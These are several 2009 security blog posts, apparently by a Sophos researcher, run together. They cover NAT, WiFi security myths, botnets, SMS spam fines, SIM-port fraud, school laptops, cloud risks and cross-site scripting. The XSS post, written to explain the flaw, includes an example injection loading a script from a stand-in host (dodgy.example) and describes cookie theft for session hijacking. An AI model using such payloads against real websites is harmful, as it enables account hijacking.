I can't imagine blaming anyone other than the author for last week's iPhone virus outbreak. The virus wasn't an accident -- the self-confessed creator wrote and disseminated the virus quite deliberately.

However, the virus only infects apostate iPhones whose owners have removed Apple's restrictive software cocoon -- so-called jailbroken devices. Additionally, the virus only infects iPhones which have not been properly secured after liberation. So there are many who blame the virus on the the jailbreakers, claiming they brought the problem on themselves.

And a few observers have even blamed the virus author's mobile phone operator, claiming that the company should have been using Network Address Translation (NAT) on its 3G network as a security measure which would have prevented the virus.

This is a curious argument, and it begs two questions: what is NAT, and what security purpose, if any, is is supposed to serve?

You can read about traditional NAT, which was first codified as RFC1631 in 1994, in RFC3022, published in 2001. NAT's primary objective was to make 32-bit IP numbers go further, in order to buy us time to update to IPv6. (Given that IPv6 adoption is still very limited, 15 years later, NAT has obviously achieved this goal.)

The basic idea is simple: take a single, public IP number issued by your ISP, and assign this number to a router at your network edge. Give all the PCs inside your network a range of non-unique, private IP numbers, and let the router translate all outbound packets so they appear to come from the network address of the router itself. Similarly, let the router translate and redirect all reply packets to the network address of the originating PC. And there you have it: Network Address Translation.

One side-effect of this behaviour is that inbound connection requests must be aimed at the router, since it has your network's only public-facing IP number. Until you instruct the router which inbound requests should be forwarded to which internal servers, inbound connections can't be accepted -- the router simply doesn't know where to send them.

So, as RFC3022 points out, "traditional NAT can be viewed as providing a privacy mechanism, as sessions are uni-directional from private hosts and the actual addresses of the private hosts are not visible to external hosts." In other words, by default, NAT limits the extent to which your network structure is visible to outsiders, and prevents outsiders from connecting into your network.

However, it is a large -- and, in my opinion, unwarranted -- leap of faith to consider NAT to be a security measure. Indeed, the original RFC authors seem to agree, warning that "unfortunately, NAT reduces the number of options for providing security." In particular, NAT makes it much more difficult to track troublesome behaviour back to source -- including security violations -- since the IP address of any offending host is masked by the NATting router.

In short, NAT is a necessary evil in contemporary networking, since we don't have enough IPv4 addresses for every device on the internet. Used responsibly, NAT can increase your resilience to external attack, because of its systematic resistance to unwanted inbound connections. But it is a snake-oil substitute for a proper network security regimen. It was designed to help the internet stretch further, not to make it more secure.

In particular, the PCs inside a NATted network enjoy no protection from each other because of NAT. Even if NAT helps to stop a virus like Conficker from sneaking into your LAN through your router, it won't stop the virus from wandering around inside your LAN if it gets in via other means. Indeed, when Conficker was widespread earlier this year, most organisational outbreaks I dealt with seem to have entered quietly on infected USB keys, and then spread liberally across the intranet -- whether the network was NATted or not.

Remember: security doesn't happen by accident.

(Nor do viruses, so don't try to shift the blame away from the people who create them in the first place.)

Image source: NJV's Flickr photostream (Creative Commons)

Right now I want to report on my latest outing to a Sophos Signature Series Luncheon, this time in Brisbane, Queensland.

My fellow presenter was Steve Bignell of the Queensland Police Service (QPS), which is planning to take community policing into the wireless age by going on wardrives around towns and cities in Queensland. Those with insecure networks can then be advised of the risks they face.

Wardriving involves driving around, scanning for wireless networks, and recording any publicly-visible aspects of their configuration. Almost any device with a WiFi chip, such as a PSP, DS Lite, mobile phone, PDA, netbook or laptop, can be used. Numerous free software packages exist to perform the WiFi scanning and recording.

Note that wardriving isn't immoral or illegal (though I am not a lawyer), at least if you are only listening in. The WiFi spectrum is unregulated, so those who exercise their freedom to transmit within the WiFi wavelengths implicitly authorise anyone who is in range to listen to what they have sent out. WiFi transmissions really are public, and that is by design.

When QPS first announced their wardriving ideas, back in July 2009, reactions were mixed. In particular, some observers imagined that their goal was to wipe out free internet access, assuming that the police would be unashamedly opposed to free Wifi since open access points can provide anonymity for carrying out or co-ordinating criminal activity, from spamming, through credit card fraud, all the way to terrorism.

But the Queensland coppers are not trying to be wowsers or kill-joys. Most of the insecure networks they find are not open by design, but by accident, and represent data leakage problems just waiting to happen. As more and more users rely on connecting work laptops to their home networks, WiFi insecurity poses an ever-increasing risk.

If you want to ensure security and confidentiality when using a public transmission medium such as WiFi, you must take positive steps. QPS wants the public to become aware of the steps they should be taking.

Unfortunately, there are still a few old-school myths out there about what represents a satisfactory minimum for WiFi security, so let's bust the three most common myths very briefly.

Firstly, hiding your network name (known as the SSID, or more properly the ESSID, for Extended Service Set Identifier) does not increase security. It can increase safety, by preventing passing visitors from latching onto your network by mistake. But the ESSID is passed unencrypted to the access point whenever a legitimate user connects to your network. So -- as the Kismet screenshots on the right reveal -- your ESSID is both exposed and confirmed whenever anyone connects successfully.

Secondly, Media Access Control (MAC) address filtering, which restricts access to users with specifically-numbered network cards, doesn't increase security, either, though it helps to prevent inadvertent connections. Currently-active clients can be enumerated with a WiFi sniffer, thus exposing the list of MAC addresses which are allowed to connect to your access point. Since you can adjust the MAC address of most WiFi cards with software, an attacker can easily spoof an authorised network card and connect to your access point.

Thirdly, WEP (Wired Equivalent Privacy) encryption simply isn't good enough. Due to a cryptographic weakness in the underlying protocol, WEP passwords can be recovered using statistical techniques from an astonishingly small amount of network traffic. In a recent experiment, I sniffed the WiFi traffic generated by downloading the latest Firefox security update (about 9MB). From this captured data alone -- about 2 minutes' worth on a 1.5Mbit/sec ADSL line -- I was able to recover the WEP key in under 20 seconds.

Use WPA (WiFi Protected Access) as a minimum. Two encryption systems are supported: TKIP and CCMP. Since TKIP is based on the RC4 encryption algorithm, which contains the flaws through which WEP can easily be broken, I recommend that you choose CCMP, which is based on the as-yet-untarnished AES encryption algorithm.

Act today. Don't wait for The Man to warn you that your WiFi is insecure!

802.11 number plate is a "share and remix" image from Woody1778a's Flickr stream

The cynics amongst you are probably thinking, "But you would say that, wouldn't you?" Yes, we would indeed! We're saying it because there are still millions of PCs out there which aren't properly protected, which are infected with malware, and which are contributing inadvertently to global cybercrime.

I recently carried out a thought experiment to estimate the number of zombies in Australia (population approximately 22 million, or about one-third of the UK and one-fifteenth of the USA). I made an informed guess at the number of spams each day worldwide, the percentage of spam originating from Australia, and the average number of spams a zombified PC might send each day -- bearing in mind that not all zombies are programmed to send spam, that some ISPs throttle outbound spam, and that uplink bandwidth on most Australian ADSL connections is artificially restricted.

From these figures (details and justifications on request) I guessed that Australia has about 80,000 active zombies at any moment. I'll further guess, based on the intelligence accumulated by SophosLabs about active infections -- in other words, where malware has successfully evaded any existing security measures -- that the vast majority of zombies on these infected PCs are not new, and would be easily detectable with an up-to-date anti-virus.

Since the free Sophos Threat Detection Test can coexist with your existing anti-virus, you don't need to uninstall anything first. Give it a try. You may be surprised at what shows up.

Also, if you aren't yet using an endpoint firewall, remember that this class of product can provide an important second line of defence against the harm caused by zombies. Unlike border firewalls, which see packets after they have left their sending PCs, endpoint firewalls know which applications and processes have produced what traffic. This means that they can block communication by new, modified or unknown programs and thus prevent zombies from sending out spam or personal data from your PC.

Note that most border firewalls and routers, whether at home or at work, routinely block inbound connections. This is sensible, because it helps prevent outsiders from hacking into your network. But don't make the mistake of assuming this alone can protect you from zombification.

Even though zombies are generally described as "malware allowing cybercrooks to issue malicious commands to your PC", this sort of remote control does not require the crooks to connect in to your computer. Most zombies work by connecting out from your PC to download instructions on what to do next. A firewall which merely prevents inward connections cannot stop data leakage via a connection which was initiated from the inside.

(By the way, "zombie" above means the same as "bot". So 31 October 2009 was also International Kill-A-Bot day -- two for the price of one!)

And on Friday, 23 October 2009, ACMA had something to get excited about, when the Federal Court in Brisbane agreed that two companies and three individuals should collectively be fined a whopping AU$15,750,000 (that's just a fraction under nine million of your British pounds!) for SMS-related spamming offences.

Despite the severity of the punishment, it's hard to feel any sympathy for the offenders when reading the allegations as presented by ACMA, namely that "the respondents were engaged in a complicated scheme to obtain mobile phone numbers from members of dating websites, using fake member profiles, in order to send commercial electronic messages by SMS".

The court accepted ACMA's arguments that:

• after the numbers were obtained, unsolicited messages were sent to the mobile phone numbers offering the opportunity to chat via SMS using services described as the 'Safe Divert' or 'Maybemeet' services;
• the chat was not offered by genuine members of dating websites but employees of the respondents' companies;
• consumers were charged up to five dollars per message; and
• when users questioned whether the messages were from a real person, they were told that it was a real person who was using the "Safe Divert" service to keep their mobile phone number private.

ACMA claims that the scheme generated more than AU$2 million, so the fines imposed recover not only the proceeds of the offence, but will also, one hopes, have both a punitive and a deterrent effect.

Interestingly, just a week before this judgment, ACMA called for public feedback on its proposed new rules for blocking unwanted high-cost services delivered via SMS. It's hard not to feel some outrage against the mobile phone companies for apparently so willingly accepting their share of the revenue from ultra-expensive SMS message services -- especially in the abovementioned case, which was, in ACMA's opinion, "particularly malicious and deceitful as it deliberately and systematically preyed upon vulnerable people, offering false hope and expectations".

Ironically, the window for feedback to ACMA on the control of unwanted mobile premium SMS ended at 17:00 last Friday, the very same day as the court victory up in Queensland.

With this in mind, I'd like to urge ACMA to extend the deadline and allow further time for people to give their feedback. The nature of the deception in the abovementioned case, and the amount of money made by the respondents, ought to be enough to encourage many more consumers to weigh in with their opinion.

Prevention of consumer abuse through SMS-oriented spam will always be better than cure. And prevention will surely be improved through a system which enforces:

• greater consumer protection against unscrupulous mobile premium services;
• greater pressure on the mobile phone operators to show some kind of consumer-centric discrimination in the premium services with which they choose to do business; and
• better default security settings to prevent the young and vulnerable signing up to services which cost way more than they are worth (and which often quietly commit the user to open-ended contractual subscriptions which allow charges to be gouged indefinitely).

If ACMA does extend its deadline, please consider responding.

I've just returned from Aotearoa, where I have been speaking at events in the Sophos Signature Luncheon series. Now in their fifth year, these Signature Luncheons bring together experts and thought leaders in IT security for frank and open debate about the future of computer security in Australia and New Zealand.

We kick off these events with two or three short, invited presentations over food. Then we facilitate informal discussion under the Chatham House Rule. Simply put, this rule says you can tell other people what was discussed, but you mustn't say which person or organisation said what. The idea of the rule is obvious: to encourage openness and the sharing of information.

When we started the Signature Luncheons, the main topic of interest was how to keep the bad stuff out. Key issues under discussion included developments in anti-virus and anti-spam technology, the unfolding of the arms race against the Bad Guys, and the possible role of government and legislation in dealing with cybercriminals.

We're still concerned with all of these things, but today's security concerns are as much about keeping the good stuff in as about keeping the bad stuff out. So, at the latest New Zealand luncheons, we concentrated on the former. How do you prevent the escape of data which rightly belongs only inside your own network?

Few of us actually intend to lose our laptops, or to have them stolen, or to send out sensitive data to the wrong email address -- yet data escapes in embarrassingly large quantities in all of these ways. Cryptography, of course, is an important tool in preventing this sort of unwilling data leakage.

Nevertheless, encryption is shrouded in myth. Is a longer password invariably more secure, for example? Can all ciphers ultimately be broken? I gave a talk aimed at busting some of these myths -- on the right you can see me attempting to explain why a one-time pad is provably secure, and, ipso facto, invulnerable to a brute force attack.

But willing data leakage, exemplified by the casual attitude which many of us have to social networking, cannot easily be counteracted by technology alone. My fellow presenter in New Zealand was Paul Blowers, a Wellington-based security architect in the law enforcement and intelligence fields. He expounded on the dilemma which many organisations face: how to embrace social networking without giving away the crown jewels.

Social networking can genuinely enhance your business, for instance in recruitment, marketing and customer support. Even law enforcement can benefit: police in Queenstown, in New Zealand's south, celebrated their first Facebook arrest back in January 2009. On the other hand, even the well-meaning use of social networking sites by employees can result in the exposure of information which might better have been kept private.

Should you block social networking sites outright? Having conducted casual audience polls at our Kiwi luncheons over the past few events, it seems as though far fewer organisations think so these days, at least in New Zealand.

In my opinion, this is a sensible move.

Informed employees who make reasonable use of social network sites during their working hours almost certainly pose less risk than ill-informed staff who cannot post at work yet are able to post at will -- including about their work, their employer and their colleagues -- after hours, either from home or from an internet cafe.

Whether you regard it an an inspired and necessary drive to bring Australian schools to the vanguard of world education, or a wayward and ill-conceived electoral promise, Australia's own "one laptop per child" programme is making K-12 computer security even harder. I have met school IT administrators who admit that they are considering turning down the government's largesse on account of the hidden costs of safely deploying and managing all the new laptops which they qualify to receive.

In some ways, acquiring a fleet of laptops is a little like acquiring a fleet of cars -- merely the start of your expenditure and management headaches. Registration, insurance, badging, garaging, maintenance, running costs, conditions of use, speeding and parking tickets -- these are just some of the concomitant responsibilities and hassles of a vehicle fleet. So too with laptops, with the added challenge that the rules of the road -- if you will pardon the extended automotive analogy -- change frequently and sometimes dramatically as new technologies and crazes sweep the internet.

Some schools, and even some education ministries, are seeking refuge in so-called cloud computing, or software as a service (SaaS), at least for parts of their network infrastructure such as web and email. Cloud email, for example, relies on the idea that you outsource the ownership and operation of your school's email to a third party -- to Microsoft, perhaps, or to your ISP, or to Google. This third party takes care of sending, receiving and filtering all your email, so that you don't need to run your own email infrastructure. Similar arrangements can be made for access to the web, for calendaring applications, for discussion forums, for school administration software, and more.

Cloud computing can simplify your IT operations, because external companies -- who typically enjoy great economies of scale by sharing their service infrastructure across tens, thousands or even millions of customers -- take care of the day-to-day running of various parts of your network. But there are risks, too, since you must trust your cloud computing companies absolutely, especially from a security and availability perspective. Outages in service are no longer within your own ability to fix. Data leakages are no longer within your remit to control. Security policies are no longer necessarily yours to decide and to enforce. You may even lose legal jurisdiction over your students' data if you partner with companies which operate outside your country -- companies which may, paradoxically, seem more attractive by virtue of their increased operational redundancy.

Whether to do IT security yourself or to outsource it is a tricky decision, and needs careful consideration. One thing, however, is clear: you cannot outsource or "cloudify" all aspects of computer security. The school laptops currently being bankrolled by the Australian government, for example, are not stripped-down thin clients, or single-function mainframe terminals, and with good reason. They are fully-fledged computers which are, quite by design, both flexible and powerful, and which can be used creatively and usefully both on-line and off-line. Technologically, then, some form of endpoint-hosted security software will always be required.

This means that endpoint security vendors will therefore remain an important -- probably the most important -- source of computer security tools. If you are only able to afford the time and money to deploy computer security technology in one part of your network, the endpoint simply must be that part. The threat of data loss and malware incursion via USB devices plugged into laptops is surely, on its own, proof that PC-based security and control software is usefully here to stay.

Another reason why computer security cannot entirely be outsourced and centralised is cultural. Modern internet usage is heavily oriented towards on-line social activities, in which friendships (and, increasingly frequently, relationships and businesses) are forged and built on-line. Social networking sites make it easy for internet users to share information about themselves -- not just with friends in their own school, suburb or town, but almost anywhere in the world. The problem, of course, is how much to share, and with whom.

Circumspect behaviour in the social networking era is hard to enforce with technology alone. As we mentioned above, the internet's rules of the road are continuously changing, so internet safety and security must be continuously taught, and continuously learned. In particular, the combination of search engines and social networking sites represents a massive risk, since almost everything you share on line is subsequently searchable by anyone. Today's schoolchildren are the first to live in an era in which even the most inconsequential things they say and do on-line may end up indexed and archived for ever.

This is causing many schools to rethink their attitude to on-line security. Prevention and enforcement are still important -- for example, there are many well-known websites which are unarguably inappropriate for children to access whilst at school. If the school can unambiguously block access to such sites, it should do so. But most schools now recognise that prevention alone is not a solution, since children need to be kept safe not only from explicitly malicious, illegal or dangerous sites on-line, but also from apparently innocent behaviour on legitimate sites -- especially social networking sites -- which puts them at risk from predators, bullies and cybercriminals.

Schools can no longer be expected to create closed networks in which everything not blocked for students is assumed safe. Instead, school IT staff should be permitted -- by principals, parents and administrators -- to adopt security practices which encourage an open network in which limits are defined by policy. Security technology then becomes a tool to help to manage, but not itself to define, those limits. This leads to an environment in which good behaviour is both permitted and encouraged; in which limits are known and understood; in which mistakes are possible but pedagogically discouraged; and in which egregiously bad behaviour can be nevertheless be detected, remediated and punished.

In conclusion, here are three talking points for taking computer security to the next level:

• You can't outsource all your computer security into the cloud. Endpoint security is still important, so look for a vendor who can offer (and support) a broad security umbrella under a single, simple licence.
• Don't be afraid to consider security technologies which you have previously dismissed as too hard, or not specific enough. Personal firewalls and Network Access Control (NAC) are often considered poor cousins to anti-virus, since they aim to change and moderate risky behaviour, not simply to block known-bad activities.
• Vigorously encourage parents to support the school's computer security policy at home. Get them to ask not what the school's network can do to protect their children, but what their children can do to protect the school's network!

This article was originally written for Education Today, Term 4 2009 Vol 9 (4), published by Minnis Journals in Victoria, Australia. To Bill Minnis -- thanks for the time you took to talk to me at the SchoolTech2009 conference in August 2009 and for inspiring these thoughts.

When Sydneysiders think of PPPs (public-private partnerships), the first things which spring to mind are probably the sort of partnerships between government and the private sector which are not universally popular, such as the numerous toll roads and tunnels which criss-cross the city, and the rather expensive "station access fee" charged as a private levy on public transport to the airport.

But there are PPPs which cannot be faulted, and I am half way through one right now. I'm attending the Identity Crime Symposium - 2009, organised by the Queensland Police. Bringing together law enforcement from around the globe, computer security specialists, the financial sector, telecomms companies, academics and public servants, this event -- one of three related events which the Queensland e-crime cops organise each year -- is an ideal forum to meet, and greet, and learn from, fellow fighters against cybercrime.

Most conferences have one or two dud talks in amongst the papers which are accepted, but this conference is an exception. Picking my highlights is therefore slightly unfair, since all the talks have been thought-provoking, and, more importantly, encouraging. Sir Winston Churchill once famously remarked, "We shall go on to the end...we shall never surrender," and this event is a modern equivalent of just such a speech, giving me renewed enthusiasm that we must, and can, continue the battle against cybercriminality, and that we can come out on top.

Nevertheless, my personal highlights so far in the Symposium have been the presentation by Elvis Tudose of the Romanian Police, examining the operation of Romanian ATM card skimming gangs, and the personal story of Dimitri, a quiet but articulate victim of identity theft who has been willing to come forward and to tell his story as an encouragement to other victims, and as a warning to possible future victims of phishing and identity scams.

Dimitri was ripped off despite using SMS-based two-factor authentication for his internet banking. SMS authentication relies on a transaction code sent to your mobile phone every time you bank online. You need to enter this code to proceed. This means that your username and password are no use on their own, as a unique transaction authorisation string is issued out of band. Keylogging of your username and password is thus rendered useless, because each transaction has a unique passcode of its own. SMS authentication is popular and convenient because you don't need to carry a separate hardware device just for banking -- your mobile phone acts as the authenticator.

The attack against Dimitri was low-tech. The crook simply persuaded a mobile phone company to transfer Dimitri's phone number from another supplier onto a new contract with the new company. Apparently keener on earning commission from a new customer than on properly verifying that the crook had any right to take over Dimitri's phone, the new mobile phone company effectively allowed the crook to thieve Dimitri's number, and thus to receive all his calls and, more importantly, his SMS messages.

Worse still, when Dimitri noticed that his phone had gone dead (due to his number having been given to someone else!) and reported this to his own provider, he was told that this was as expected. He then had a tough job to convince his own mobile phone company that he had not authorised the so-called "number port" himself, thus giving the crook even more time to raid his account.

Incidentally, Sophos is one of the sponsors of this Symposium, and we're delighted to support such a worthwhile co-operative effort. If you have anything to do with combating cybercrime, whether in Australia or overseas, do consider attending one of these Symposiums next year. Keep your eye on the Queensland Police website to find out what next year's dates are. (Or keep reading this blog. I'll remind you when next year's dates are set.)

Importantly, scripts in a web page can trigger page requests which include (encoded either as parameters to the HTTP request or in the HTTP request body) client-side information. This includes the values of any cookies currently set by the website you are visiting.

Cookies are needed because the HTTP protocol itself is stateless. You don't log in to an HTTP server and then issue a series of commands, as you do when using FTP or SSH. Instead, each request stands alone, which greatly simplifies - at least in theory - the design and implementation of a basic web server.

Cookies, transmitted in the headers of HTTP requests and replies, are the stateful glue by which modern web servers tie together an otherwise-independent set of HTTP requests into a transaction, or a session, or even a series of sessions. Cookies are how Google, for instance, remembers your search settings, even between multiple sessions, or how Sophos knows that you have already logged in to the product download area in this visit.

Separately-visited web sites can't access each other's cookies via scripts (at least if the browser is correctly implemented), but scripts in a site sourced as part of another site are implicitly authorised to reach into that site's data. So, if you can sneak an unauthorised script tag into someone else's web page, you can grab the value of all cookies set for that website, possibly including current session authentication information. This may even allow you to hijack that session.

Websites which can be compromised through the insertion of malicious script tags are said to have a cross-site scripting (XSS) vulnerability. Carrying out such a compromise is an XSS exploit.

There are two main sorts of XSS exploit. First is the stored or persistent exploit. As the name suggests, unauthorised tags are permanently stored onto the victim's web server - for example, using a SQL injection hack to infect fields in the server's databases. Anyone visiting the site, even if they visit it directly, may be exposed to attack. (SophosLabs finds about 25,000 newly-infected web pages per day, so this sort of compromise is very common.)

More pernicious is the non-persistent or reflective exploit. This sort of exploit is usually much more difficult to detect and to remediate because the unauthorised tags never actually exist on the affected web server. This means that you cannnot search for them in files or databases. Reflective XSS attacks exploit poor input validation by the server, tricking the server into accepting malicious tags as input and then reflecting them blindly in the response sent back to the browser.

This sort of attack is possible because HTML relies on special characters to denote embedded objects such as scripts. If I write script in my web page, your browser will display script. But if I write <script>, your browser takes this as signal to run a script. If I want to display the text <script>, then I must carefully encode the less-than and greater-than signs, like this: &lt;script&gt; so that I don't send you an unexpected script tag.

Now imagine that your website has a search form. If I type in banana, you may generate a web page to tell me the word banana was not found. But if I "search" for <script src=http://dodgy.example/xss.js></script>, you must convert those angle brackets into &lt; and &gt; in your search results page. If you blindly reflect my text, then I can execute a cross-site script against your website simply through a search. This is always incorrect, usually dangerous, and likely to be exploited.

Sadly, cleaning up, or sanitising, externally-submitted text so that it can be rendered safely back to the visitor is not an easy task, so many web servers are vulnerable to XSS exploits. These can be used for numerous malicious purposes, such as Twitter worms, phishing, unauthorised and unwanted popups, and more.

Unsurprisingly, then, both Mozilla and Google are currently working on browser-based mitigation of XSS exploits. Both approaches are interesting.

Google's idea is that the browser should condemn any web page which contains script tags (or similar) which also appear in the HTTP request for that page. After all, if a web request contains text which happens to be an HTML tag, that tag ought to be sanitised in the reply. So tags which appear in both request and reply probably represent a reflective XSS risk, and possibly represent an actual XSS exploit. Therefore they should be blocked.

Mozilla's approach is complementary, defining a set of HTTP headers by which webmasters can specify the maximum behaviour they expect from their pages. Browsers which understand these headers can then automatically block behaviour outside the specified limits. If you use cross-site scripts, but only to specific third-party locations, such as Google Analytics, you can inform the browser so that it can block XSS requests to unexpected sites.

Google's technique deals only with reflective XSS exploits, but is automatic and does not rely on webmasters adding special HTTP headers. Mozilla's technique is discretionary, and only works for sites which go the extra mile of accurately marking up their HTTP replies, but it does provide an additional vehicle for well-meaning webmasters to defend against both reflective and stored XSS attacks.

These approaches are unlikely to mean the end of popup porn, Facebook worms, cross-site phishing and the like, but they are to be applauded nevertheless. What is interesting, in the light of my recent article about cloud computing, is that both approaches require programmatic intelligence embedded into the browser itself, even though they protect against cloud-based vulnerabilities.

In other words, endpoint security really is here to stay. The endpoint is dead. Long live the endpoint.

Perhaps. But as anyone who has passed a winter in the Pacific North-West -- in Redmond, for example, or in one Vancouver or another - will know, cloud is something which few people enjoy for very long.

Bemused after all the cloudy Virus Bulletin papers, in both the technical and the corporate streams, Carole Theriault and I recorded a podcast in which we reviewed a whole range of questions about the cloud.

What is cloud computing? What are the benefits? What are the risks? How does "working in the cloud" differ from simply "being on the internet"? Will everything, including security software, eventually move from your PC to the cloud? And if it does, how will you connect to and use the cloud in the first place?

Listen (or download it) here:

As you will hear in the podcast, I have some fairly serious concerns about SaaS, both for your organisation's critical data and for your own PII (personally identifiable information). Not everyone seems to share these concerns, though, even at the highest levels. For example, I don't like the idea of schoolchildren storing their files and homework "in the cloud", whereas the New South Wales Government doesn't seem to mind, having outsourced to the cloud all public schoolchildrens' email and storage.

Some well-publicised SaaS glitches are listed below:

July 2008: Facebook accidentally publicly revealed personal information about its members, which could be useful to identity thieves. The full dates of birth of many of Facebook's 80 million active users were visible to others, even if the individual member had requested that the information remained confidential.

Jan 2009: A hacker managed to hack into Twitter's internal systems, opening the door for criminals to break into the Twitter accounts of the likes of Britney Spears, Fox News and Barack Obama. The teenage hacker claims he gained entry to the micro-blogging site's administrative control panel using a so-called dictionary attack.

Feb 2009: Google has apologised for the outage that hit business and consumer users of its popular e-mail service. GMail...was unavailable to all for "approximately two and a half hours". But anecdotal evidence suggests it was out of action for many users for about four hours - one of the longest downtimes ever suffered by Google.

Feb 2009: Fans of Google's email system have been the target of a phishing campaign spreading via the Google Talk chat system.

March 2009: Over a million users of the Spotify music service are being warned that they may have to change their passwords after it was announced that information about members could have been stolen by hackers.

Sep 2009: A recent bug in Google Apps allowed students at several colleges to read each other's email messages and some were even able to see another student's entire inbox.

Look before you leap!

I've just come from a talk given by my friend and colleague Dmitry Samosseiko from Sophos Canada, who presented a paper entitled The Partnerka -- what is it, and why should you care?

This paper was definitely the highlight of the event for me so far, providing a fascinating and well-researched insight into the ever-booming spam industry in Russia and beyond.

The partnerka (pronounced 'partnyorka') are hundreds of well-organised affiliate networks, with thousands of affiliated 'webmasters', who make millions of dollars of profits per year through the on-line sale of fake watches, fake anti-virus, fake pills, fake love, and much more besides.

Dmitry took us behind the scenes of some of these affiliate networks, revealed insider statistics and information, including how much money top-performing webmasters are making each day, showed some of the tools used in the fascinatingly dodgy world of affiliate SEO (search engine optimisation), and explained the terminology and techniques of the partnerka.

Finishing optimistically, Dmitry encouraged fellow security researchers to to work ever more closely with law enforcement and ISPs to orchestrate rogue network takedowns, and to keep up the abuse reports to billing and hosting companies.

Why not download Dmitry's paper and read it yourself?

Then ask yourself what you can do to keep up the pressure on the partnerka and thus to reduce their overall impact on the safety and usefulness of the internet.

(Thanks to Helen Martin, editor of Virus Bulletin, for permission to extract and publish Dmitry's paper from the Proceedings of the 19th Virus Bulletin International Conference. You can order complete Conference Proceedings by contacting VB directly.)